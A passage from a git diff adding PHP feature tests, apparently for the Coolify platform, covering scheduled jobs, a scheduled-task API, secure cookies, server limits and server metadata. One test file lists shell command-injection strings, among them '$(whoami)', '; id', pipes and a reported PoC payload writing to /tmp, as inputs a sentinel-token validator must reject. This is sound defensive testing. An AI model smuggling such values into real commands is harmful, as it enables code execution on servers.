$executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC) + Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT + // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire + $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6'); + expect($resultSingapore)->toBeTrue(); + + // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire + $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7'); + expect($resultUtc)->toBeFalse(); +}); diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php new file mode 100644 index 000000000..e297c07bd --- /dev/null +++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php @@ -0,0 +1,49 @@ +set($lockKey, 'stale-owner'); + + expect($redis->ttl($lockKey))->toBe(-1); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(0); +}); + +it('preserves valid lock with positive TTL', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + $redis = Redis::connection('default'); + $redis->set($lockKey, 'active-owner'); + $redis->expire($lockKey, 60); + + expect($redis->ttl($lockKey))->toBeGreaterThan(0); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(1); + + $redis->del($lockKey); +}); + +it('does not fail when no lock exists', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + Redis::connection('default')->del($lockKey); + + $job = new ScheduledJobManager; + $middleware = $job->middleware(); + + expect($middleware)->toBeArray()->toHaveCount(1); +}); diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php new file mode 100644 index 000000000..036c3b638 --- /dev/null +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -0,0 +1,272 @@ +rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']); + $this->rootUser = User::factory()->create(); + $this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']); + + // Create regular team and user + $this->regularTeam = Team::factory()->create(); + $this->regularUser = User::factory()->create(); + $this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']); +}); + +test('scheduled jobs page requires instance admin access', function () { + $this->actingAs($this->regularUser); + session(['currentTeam' => $this->regularTeam]); + + $response = $this->get(route('settings.scheduled-jobs')); + $response->assertRedirect(route('dashboard')); +}); + +test('scheduled jobs page is accessible by instance admin', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Scheduled Job Issues'); +}); + +test('scheduled jobs page shows failed backup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create(['team_id' => $this->rootTeam->id]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection timeout', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Backup'); +}); + +test('scheduled jobs page shows failed cleanup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create([ + 'team_id' => $this->rootTeam->id, + ]); + + DockerCleanupExecution::create([ + 'server_id' => $server->id, + 'status' => 'failed', + 'message' => 'Cleanup failed: disk full', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Cleanup'); +}); + +test('filter by type works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterType', 'backup') + ->assertStatus(200) + ->set('filterType', 'cleanup') + ->assertStatus(200) + ->set('filterType', 'task') + ->assertStatus(200); +}); + +test('only failed executions are shown', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 'message' => 'Backup completed successfully', + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection refused', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertSee('Backup failed: connection refused') + ->assertDontSee('Backup completed successfully'); +}); + +test('filter by date range works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterDate', 'last_7d') + ->assertStatus(200) + ->set('filterDate', 'last_30d') + ->assertStatus(200) + ->set('filterDate', 'all') + ->assertStatus(200); +}); + +test('scheduler log parser returns empty collection when no logs exist', function () { + $parser = new SchedulerLogParser; + + $skips = $parser->getRecentSkips(); + expect($skips)->toBeEmpty(); + + $runs = $parser->getRecentRuns(); + expect($runs)->toBeEmpty(); +})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests'); + +test('scheduler log parser parses skip entries correctly', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}'; + file_put_contents($logPath, $logLine."\n"); + + $parser = new SchedulerLogParser; + $skips = $parser->getRecentSkips(); + + expect($skips)->toHaveCount(1); + expect($skips->first()['type'])->toBe('backup'); + expect($skips->first()['reason'])->toBe('server_not_functional'); + expect($skips->first()['team_id'])->toBe(5); + + // Cleanup + @unlink($logPath); +}); + +test('scheduler log parser excludes started events from runs', function () { + $logPath = storage_path('logs/scheduled-test-started-filter.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + $runs = $parser->getRecentRuns(); + + expect($runs)->toHaveCount(1); + expect($runs->first()['message'])->toContain('completed'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); + +test('scheduler log parser filters by team id', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + + $allSkips = $parser->getRecentSkips(100); + expect($allSkips)->toHaveCount(2); + + $team1Skips = $parser->getRecentSkips(100, 1); + expect($team1Skips)->toHaveCount(1); + expect($team1Skips->first()['team_id'])->toBe(1); + + // Cleanup + @unlink($logPath); +}); + +test('skipped jobs show fallback when resource is deleted', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('my-cron-job') + ->assertSee('Application not running'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php new file mode 100644 index 000000000..741082cff --- /dev/null +++ b/tests/Feature/ScheduledTaskApiTest.php @@ -0,0 +1,371 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + // Server::booted() auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + // Project::booted() auto-creates a 'production' Environment, reuse it + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first(); +}); + +function scheduledTaskAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('returns empty array when no tasks exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns tasks when they exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Test Task', + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Test Task']); + }); + + test('returns 404 for unknown application uuid', function () { + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('creates a task with valid data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Backup']); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + }); + + test('returns 422 when name is missing', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(422); + }); + + test('returns 422 for invalid cron expression', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => 'not-a-cron', + ]); + + $response->assertStatus(422); + $response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.'); + }); + + test('returns 422 when extra fields are present', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + 'unknown_field' => 'value', + ]); + + $response->assertStatus(422); + }); + + test('defaults timeout and enabled when not provided', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(201); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Test', + 'timeout' => 300, + 'enabled' => true, + ]); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('updates task with partial data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Old Name', + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [ + 'name' => 'New Name', + ]); + + $response->assertStatus(200); + $response->assertJsonFragment(['name' => 'New Name']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [ + 'name' => 'Test', + ]); + + $response->assertStatus(404); + }); +}); + +describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('deletes task successfully', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + + $this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent"); + + $response->assertStatus(404); + }); +}); + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () { + test('returns executions for a task', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + ScheduledTaskExecution::create([ + 'scheduled_task_id' => $task->id, + 'status' => 'success', + 'message' => 'OK', + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['status' => 'success']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions"); + + $response->assertStatus(404); + }); +}); + +describe('Service scheduled tasks API', function () { + test('can list tasks for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + 'name' => 'Service Task', + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Service Task']); + }); + + test('can create a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [ + 'name' => 'Service Backup', + 'command' => 'pg_dump', + 'frequency' => '0 2 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Service Backup']); + }); + + test('can delete a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $task = ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) + ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + }); +}); diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.php new file mode 100644 index 000000000..4db0a7681 --- /dev/null +++ b/tests/Feature/SecureCookieAutoDetectionTest.php @@ -0,0 +1,64 @@ + 0], ['fqdn' => null]); + // Ensure session.secure starts unconfigured for each test + config(['session.secure' => null]); +}); + +it('sets session.secure to true when request arrives over HTTPS via proxy', function () { + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('does not set session.secure for plain HTTP requests', function () { + $this->get('/login'); + + expect(config('session.secure'))->toBeNull(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () { + config(['session.secure' => false]); + + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + // Explicit false must not be overridden — our check is `=== null` only + expect(config('session.secure'))->toBeFalse(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=true', function () { + config(['session.secure' => true]); + + $this->get('/login'); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () { + $response = $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + $response->assertSuccessful(); + + $cookieName = config('session.cookie'); + $sessionCookie = collect($response->headers->all('set-cookie')) + ->first(fn ($c) => str_contains($c, $cookieName)); + + expect($sessionCookie)->not->toBeNull() + ->and(strtolower($sessionCookie))->toContain('; secure'); +}); diff --git a/tests/Feature/SentinelTokenValidationTest.php b/tests/Feature/SentinelTokenValidationTest.php new file mode 100644 index 000000000..43048fcaa --- /dev/null +++ b/tests/Feature/SentinelTokenValidationTest.php @@ -0,0 +1,95 @@ +create(); + $this->team = $user->teams()->first(); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +describe('ServerSetting::isValidSentinelToken', function () { + it('accepts alphanumeric tokens', function () { + expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue(); + }); + + it('accepts tokens with dots, hyphens, and underscores', function () { + expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue(); + }); + + it('accepts long base64-like encrypted tokens', function () { + $token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0'; + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); + + it('accepts tokens with base64 characters (+, /, =)', function () { + expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue(); + }); + + it('rejects tokens with double quotes', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse(); + }); + + it('rejects tokens with single quotes', function () { + expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse(); + }); + + it('rejects tokens with semicolons', function () { + expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse(); + }); + + it('rejects tokens with backticks', function () { + expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse(); + }); + + it('rejects tokens with dollar sign command substitution', function () { + expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse(); + }); + + it('rejects tokens with spaces', function () { + expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse(); + }); + + it('rejects tokens with newlines', function () { + expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse(); + }); + + it('rejects tokens with pipe operator', function () { + expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse(); + }); + + it('rejects tokens with ampersand', function () { + expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse(); + }); + + it('rejects tokens with redirection operators', function () { + expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse(); + }); + + it('rejects empty strings', function () { + expect(ServerSetting::isValidSentinelToken(''))->toBeFalse(); + }); + + it('rejects the reported PoC payload', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse(); + }); +}); + +describe('generated sentinel tokens are valid', function () { + it('generates tokens that pass format validation', function () { + $settings = $this->server->settings; + $settings->generateSentinelToken(save: false, ignoreEvent: true); + $token = $settings->sentinel_token; + + expect($token)->not->toBeEmpty(); + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); +}); diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php new file mode 100644 index 000000000..6b2c074be --- /dev/null +++ b/tests/Feature/ServerLimitCheckJobTest.php @@ -0,0 +1,83 @@ +set('constants.coolify.self_hosted', false); + + Notification::fake(); + + $this->team = Team::factory()->create(['custom_server_limit' => 5]); +}); + +function createServerForTeam(Team $team, bool $forceDisabled = false): Server +{ + $server = Server::factory()->create(['team_id' => $team->id]); + if ($forceDisabled) { + $server->settings()->update(['force_disabled' => true]); + } + + return $server->fresh(['settings']); +} + +it('re-enables force-disabled servers when under the limit', function () { + createServerForTeam($this->team); + $server2 = createServerForTeam($this->team, forceDisabled: true); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + expect($server2->settings->force_disabled)->toBeTruthy(); + expect($server3->settings->force_disabled)->toBeTruthy(); + + // 3 servers, limit 5 → all should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('re-enables force-disabled servers when exactly at the limit', function () { + $this->team->update(['custom_server_limit' => 3]); + + createServerForTeam($this->team); + createServerForTeam($this->team); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + // 3 servers, limit 3 → disabled one should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('disables newest servers when over the limit', function () { + $this->team->update(['custom_server_limit' => 2]); + + $oldest = createServerForTeam($this->team); + sleep(1); + $middle = createServerForTeam($this->team); + sleep(1); + $newest = createServerForTeam($this->team); + + // 3 servers, limit 2 → newest 1 should be disabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($oldest->fresh()->settings->force_disabled)->toBeFalsy(); + expect($middle->fresh()->settings->force_disabled)->toBeFalsy(); + expect($newest->fresh()->settings->force_disabled)->toBeTruthy(); +}); + +it('does not change servers when under limit and none are force-disabled', function () { + $server1 = createServerForTeam($this->team); + $server2 = createServerForTeam($this->team); + + // 2 servers, limit 5 → nothing to do + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server1->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); +}); diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.php new file mode 100644 index 000000000..204ae456d --- /dev/null +++ b/tests/Feature/ServerMetadataTest.php @@ -0,0 +1,119 @@ +create(); + $this->team = Team::factory()->create(); + $user->teams()->attach($this->team); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('casts server_metadata as array', function () { + $metadata = [ + 'os' => 'Ubuntu 22.04.3 LTS', + 'arch' => 'x86_64', + 'kernel' => '5.15.0-91-generic', + 'cpus' => 4, + 'memory_bytes' => 8589934592, + 'uptime_since' => '2024-01-15 10:30:00', + 'collected_at' => now()->toIso8601String(), + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata)->toBeArray() + ->and($this->server->server_metadata['os'])->toBe('Ubuntu 22.04.3 LTS') + ->and($this->server->server_metadata['cpus'])->toBe(4) + ->and($this->server->server_metadata['memory_bytes'])->toBe(8589934592); +}); + +it('stores null server_metadata by default', function () { + expect($this->server->server_metadata)->toBeNull(); +}); + +it('includes server_metadata in fillable', function () { + $this->server->fill(['server_metadata' => ['os' => 'Test']]); + + expect($this->server->server_metadata)->toBe(['os' => 'Test']); +}); + +it('persists and retrieves full server metadata structure', function () { + $metadata = [ + 'os' => 'Debian GNU/Linux 12 (bookworm)', + 'arch' => 'aarch64', + 'kernel' => '6.1.0-17-arm64', + 'cpus' => 8, + 'memory_bytes' => 17179869184, + 'uptime_since' => '2024-03-01 08:00:00', + 'collected_at' => '2024-03-10T12:00:00+00:00', + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata) + ->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at']) + ->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)') + ->and($this->server->server_metadata['arch'])->toBe('aarch64') + ->and($this->server->server_metadata['cpus'])->toBe(8) + ->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0); +}); + +it('returns null from gatherServerMetadata when server is not functional', function () { + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + $this->server->refresh(); + + expect($this->server->gatherServerMetadata())->toBeNull(); +}); + +it('can overwrite server_metadata with new values', function () { + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04'); + + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04') + ->and($this->server->server_metadata['cpus'])->toBe(4); +}); + +it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () { + $serverMock = Mockery::mock($this->server)->makePartial(); + $serverMock->shouldReceive('isSwarm')->andReturn(false); + $serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn('24.0.0'); + $serverMock->shouldReceive('gatherServerMetadata')->once(); + $serverMock->shouldReceive('isBuildServer')->andReturn(false); + + Livewire::test(ValidateAndInstall::class, ['server' => $serverMock]) + ->call('validateDockerVersion'); +}); + +it('does not call gatherServerMetadata when docker version 